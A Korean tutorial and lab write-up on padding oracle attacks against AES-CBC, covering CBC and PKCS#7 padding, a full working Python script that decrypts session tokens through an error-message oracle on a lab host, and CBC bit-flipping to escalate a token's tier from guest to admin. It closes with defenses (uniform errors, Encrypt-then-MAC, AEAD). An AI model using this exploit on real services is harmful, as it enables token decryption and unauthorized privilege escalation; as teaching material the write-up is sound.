Padding Oracle Attack이란?

Padding oracle attack이란?

Padding oracle attack은 암호문을 복호화하는 서버가 padding 오류 여부를 외부에 다르게 알려줄 때 이를 이용해 평문을 복원하거나 암호문을 조작하는 공격이다.

여기서 oracle은 질문을 던지면 답을 해주는 대상 정도로 이해하면 된다. 공격자는 서버에게 “이 암호문의 padding이 올바른가?”라는 질문을 계속 던지고, 서버가 반환하는 정상/오류 응답 차이를 통해 암호문 내부의 평문을 하나씩 알아낸다.

이 공격은 대표적으로 CBC mode를 사용하는 블록 암호에서 문제가 된다. 그래서 먼저 AES-CBC mode가 어떻게 동작하는지부터 알아보자.

AES-CBC mode

AES는 데이터를 16byte 단위의 block으로 처리하는 대칭키 블록 암호다. 하지만 실제로 암호화해야 하는 데이터는 16byte보다 길 수도 있고, 딱 16byte로 나누어 떨어지지 않을 수도 있다. 그래서 AES를 실제 데이터에 적용할 때는 여러 block을 어떤 방식으로 연결해서 암호화할지 정해야 하는데, 이 방식을 운용 모드(mode of operation)라고 한다.

CBC(Cipher Block Chaining)는 이름 그대로 이전 암호문 block을 다음 block의 암호화 과정에 연결해서 사용하는 방식이다.

C0 = IV
C1 = Encrypt(P1 XOR C0)
C2 = Encrypt(P2 XOR C1)
C3 = Encrypt(P3 XOR C2)
...

첫 번째 block에서는 이전 암호문 block이 없기 때문에 IV(Initialization Vector)를 사용한다. 두 번째 block부터는 직전 암호문 block을 평문 block과 XOR한 뒤 암호화한다.

복호화는 반대로 이루어진다.

P1 = Decrypt(C1) XOR C0
P2 = Decrypt(C2) XOR C1
P3 = Decrypt(C3) XOR C2
...

여기서 중요한 점은 어떤 평문 block Pi가 자기 자신의 암호문 block Ci만으로 결정되지 않는다는 것이다. Ci를 복호화한 중간값에 이전 암호문 block C(i-1)을 XOR해야 최종 평문이 나온다.

intermediate = Decrypt(Ci)
Pi = intermediate XOR C(i-1)

이 구조 때문에 CBC mode에서는 이전 암호문 block을 조작하면 다음 평문 block의 같은 위치 byte가 바뀐다.

Padding

AES는 16byte 단위로만 데이터를 처리한다. 그런데 평문 길이가 16byte의 배수가 아니면 마지막 block이 비게 된다. 이 빈 공간을 채우는 것이 padding이다.

대표적으로 PKCS#7 padding에서는 부족한 byte 수를 그 값 그대로 채운다.

평문 마지막이 13byte라면 3byte가 부족하므로:
... 03 03 03

평문 마지막이 15byte라면 1byte가 부족하므로:
... 01

평문이 이미 16byte 단위로 딱 맞아도 한 block을 추가한다:
10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10

복호화하는 쪽에서는 마지막 byte를 보고 padding 길이를 판단한다. 마지막 byte가 0x04라면 마지막 4byte가 전부 0x04인지 확인하는 식이다. 이 검증이 실패하면 padding error가 발생한다.

Padding oracle attack의 원리

문제는 서버가 이 padding error를 외부에서 구분할 수 있게 보여줄 때 발생한다.

예를 들어 어떤 서버가 토큰을 복호화한 뒤 다음과 같이 동작한다고 하자.

• padding이 틀리면 padding error
• padding은 맞지만 JSON 파싱이 틀리면 malformed record
• 모든 검증이 통과하면 ok

공격자는 암호화 키를 모른다. 하지만 암호문을 조금씩 바꿔서 서버에 보내고, 서버 응답이 padding error인지 아닌지는 확인할 수 있다. 이 정도의 정보만 있어도 CBC에서는 평문을 복원할 수 있다.

복호화하려는 block을 Ci, 그 앞 block을 C(i-1)이라고 하자.

Pi = Decrypt(Ci) XOR C(i-1)

공격자는 Ci는 그대로 두고 C(i-1)만 조작해서 서버에 보낸다. 그러면 실제 복호화 중간값 Decrypt(Ci)는 변하지 않지만, 마지막에 XOR되는 값이 바뀌기 때문에 평문 Pi만 바뀐다.

마지막 byte부터 생각해보자. 조작한 이전 block을 C'(i-1)이라고 했을 때, 서버가 padding을 0x01로 인정했다면 마지막 평문 byte는 다음과 같아야 한다.

P'i[last] = 0x01
Decrypt(Ci)[last] XOR C'(i-1)[last] = 0x01

따라서 다음 값을 구할 수 있다.

Decrypt(Ci)[last] = C'(i-1)[last] XOR 0x01

중간값을 알게 되었으니 원래 평문 byte도 구할 수 있다.

Pi[last] = Decrypt(Ci)[last] XOR C(i-1)[last]

그 다음에는 padding이 0x02 0x02가 되도록 뒤에서 두 byte를 맞추고, 그 다음에는 0x03 0x03 0x03이 되도록 맞춘다. 이 과정을 block의 끝에서부터 앞으로 반복하면 block 하나의 평문을 전부 복원할 수 있다.

결국 padding oracle attack은 암호화 키를 직접 구하는 공격이 아니다. 서버를 padding 검증기처럼 사용해서 중간값과 평문을 하나씩 알아내는 공격이다.

또한 평문을 알고 있거나 일부 복원했다면 CBC의 bit flipping 성질을 이용해 암호문을 조작할 수도 있다. 바꾸고 싶은 평문 byte가 old, 원하는 byte가 new라면 이전 block의 같은 위치 byte에 다음 delta를 XOR하면 된다.

delta = old XOR new
modified_previous_block_byte = original_previous_block_byte XOR delta

이렇게 하면 복호화 결과에서 해당 위치의 평문 byte가 old에서 new로 바뀐다. 단, 조작한 이전 block 자체의 평문은 깨진다. 그래서 보통 영향이 덜한 block을 희생하거나, 서버가 해당 부분을 검사하지 않는 구조를 이용한다.

Padding oracle attack 실습

이번 실습 환경에서는 4개의 endpoint 중 한 곳에 padding oracle 공격이 가능한 endpoint가 존재한다.

먼저 /api/v1/session으로 session token을 발급받았다.

발급받은 토큰을 각 endpoint에 보내면 다음과 같이 서로 다른 응답을 반환한다.

여기서 눈에 띄는 것은 /svc/token-check다. 정상 토큰을 보냈을 때 account, tier, note가 포함된 데이터를 반환하고 있다. 특히 tier 값이 guest인 것을 확인할 수 있다.

다음으로 gen_tokens.py를 이용해 padding oracle 여부를 확인하기 위한 테스트 토큰을 생성하였다.

이 도구는 특정 block과 byte 위치를 기준으로 0x00부터 0xff까지 값을 바꾼 후보 토큰을 생성한다. 생성된 토큰은 tokens.txt에 저장된다.

이 토큰들을 4개의 endpoint에 전송하면서 응답 차이를 확인한다. 이미지상으로 모든 endpoint에 대한 전송 과정은 생략되었지만, 핵심은 후보 토큰 중 특정 값에서만 다른 응답이 발생하는지 확인하는 것이다.

그 결과 /svc/token-check에서 padding 오류에 따른 응답 차이가 확인되었다.

두 응답 모두 HTTP 400이지만 응답 길이와 내용이 다르다. 하나는 단순히 error만 반환하고, 다른 하나는 malformed record, please retry라는 detail을 포함한다.

이 차이는 꽤 중요하다. padding이 완전히 틀린 경우에는 단순 오류가 발생하고, padding은 맞지만 복호화된 데이터의 구조가 깨진 경우에는 malformed record가 발생한다고 볼 수 있기 때문이다. 즉 /svc/token-check는 padding이 유효한지 여부를 외부에서 구분할 수 있게 해주는 oracle이 된다.

이제 공격 대상 endpoint는 /svc/token-check로 정한다.

다음은 get_plaintext.py를 이용해 평문을 복원하는 과정이다.

#!/usr/bin/python3
from base64 import b64encode, b64decode
import requests

hostname = "http://192.168.91.128:5001"
target = "/svc/token-check"

BLOCK_SIZE = 16

def get_token():
    response = requests.get(hostname+"/api/v1/session")
    token = response.json()['session_token']
    token = token.replace("-", "+")
    token = token.replace("_", "/")
    print("token: " + token)
    return token

def parse_token(token: str):
    print("len: " + str(len(token)))
    parsed_token = []
    for i in range(len(token)//16):
        parsed_token.append(token[i*BLOCK_SIZE:(i+1)*16])
    print(parsed_token)
    return parsed_token

def is_padding_valid(ciphertext):
    response = requests.post(hostname+target, json={"session_token":b64encode(ciphertext).decode()})
    if "malformed" in response.text:
        return True
    else:
        return False

def decrypt_block(target_block, prev_block):
    intermediate = [0] * BLOCK_SIZE
    plaintext = [0] * BLOCK_SIZE
    for pad_val in range(1, BLOCK_SIZE + 1):
        pos = BLOCK_SIZE - pad_val
        crafted = [0] * BLOCK_SIZE
        found = False
        for k in range(pos+1, BLOCK_SIZE):
            crafted[k] = intermediate[k] ^ pad_val
        for guess in range(256):
            crafted[pos] = guess
            if is_padding_valid(bytes(crafted)+target_block):
                intermediate[pos] = guess ^ pad_val
                plaintext[pos] = intermediate[pos] ^ prev_block[pos]
                if plaintext[pos] < 0x10:
                    plaintext[pos] = ord('.')
                found = True
                print(f'plaintext found at pos {pos}: {chr(plaintext[pos])}')
                break
        if not found:
            raise RuntimeError(f"byte {pos} not found")
    return bytes(plaintext)
            
                
def main():
    token = get_token()
    token = b64decode(token)
    blocks = parse_token(token)
    plaintext = b''
    for i in range(1, len(blocks)):
        plaintext += decrypt_block(blocks[i], blocks[i-1])
        print('plaintext found: '+ plaintext.decode())

if __name__ == "__main__":
    main()

실행 결과는 다음과 같다.

plaintext found at pos 15: .
plaintext found at pos 14: .
plaintext found at pos 13: .
plaintext found at pos 12: .
plaintext found at pos 11: .
plaintext found at pos 10: .
plaintext found at pos 9: .
plaintext found at pos 8: .
plaintext found at pos 7: .
plaintext found at pos 6: }
plaintext found at pos 5: "
plaintext found at pos 4: d
plaintext found at pos 3: e
plaintext found at pos 2: h
plaintext found at pos 1: s
plaintext found at pos 0: i
plaintext found: al-03", "tier": "guest", "note": "session established"}.........

출력 결과를 보면 평문이 trial-03이 아니라 al-03부터 복원된 것을 확인할 수 있다. 앞쪽 일부가 잘린 것처럼 보이는 이유는 첫 번째 block의 평문을 복원하지 못했기 때문이다.

위에서 CBC 복호화는 Pi = Decrypt(Ci) XOR C(i-1) 형태로 이루어진다고 했다. 즉 어떤 block의 평문을 알아내려면 해당 block의 암호문뿐만 아니라 바로 앞 block도 필요하다. 두 번째 block부터는 이전 암호문 block이 토큰 안에 같이 들어있기 때문에 이를 조작하면서 padding oracle 공격을 수행할 수 있다.

하지만 첫 번째 암호문 block의 이전 block은 암호문이 아니라 IV다. 이번 실습 환경에서는 서버가 IV를 토큰에 포함해서 보내주지 않는다. 그래서 첫 번째 block에 대해서는 조작할 이전 block도 없고, 마지막에 XOR해야 할 IV 값도 알 수 없다. 결국 첫 번째 block은 복원하지 못하고, 두 번째 block부터의 평문만 복원되는 것이다.

이제 목표는 tier 값을 guest에서 admin으로 바꾸는 것이다. 둘 다 5글자이기 때문에 길이 변화 없이 같은 위치의 byte만 바꾸면 된다.

CBC mode에서는 현재 block의 평문을 직접 수정할 수는 없지만, 이전 암호문 block의 같은 위치 byte를 조작하면 다음 block의 평문 byte가 바뀐다. 그래서 bitflip 도구로 guest를 admin으로 바꾸기 위해 필요한 delta를 계산하였다.

계산된 값을 토큰의 이전 block 위치에 반영한 뒤 /api/v1/upgrade로 요청을 보내면 다음과 같이 권한 상승에 성공한다.

응답을 보면 tier upgraded to admin 메시지와 함께 success가 반환된다. 즉 서버의 암호화 키를 알지 못했지만, padding oracle로 평문 구조를 복원하고 CBC bit flipping을 이용해 토큰 내부 권한 값을 조작할 수 있었다.

정리

Padding oracle attack은 암호 알고리즘 자체를 깨는 공격이라기보다는, 복호화 실패 이유를 외부로 다르게 노출하는 구현 실수를 이용하는 공격이다.

AES-CBC 자체를 사용했다는 이유만으로 반드시 취약한 것은 아니다. 문제는 복호화 후 padding 검증 실패, 파싱 실패, 권한 검증 실패 같은 내부 오류가 서로 다른 응답으로 노출되는 경우다. 이런 차이가 존재하면 공격자는 서버를 oracle로 사용해 평문을 복원할 수 있고, CBC의 구조적 특성을 이용해 암호문을 원하는 방향으로 조작할 수도 있다.

따라서 CBC mode를 사용해야 한다면 오류 응답을 동일하게 처리하고, 복호화 전에 MAC을 검증하는 Encrypt-then-MAC 구조를 사용하는 것이 중요하다. 가능하다면 인증 암호화 방식인 AES-GCM, ChaCha20-Poly1305 같은 AEAD mode를 사용하는 것이 더 낫다.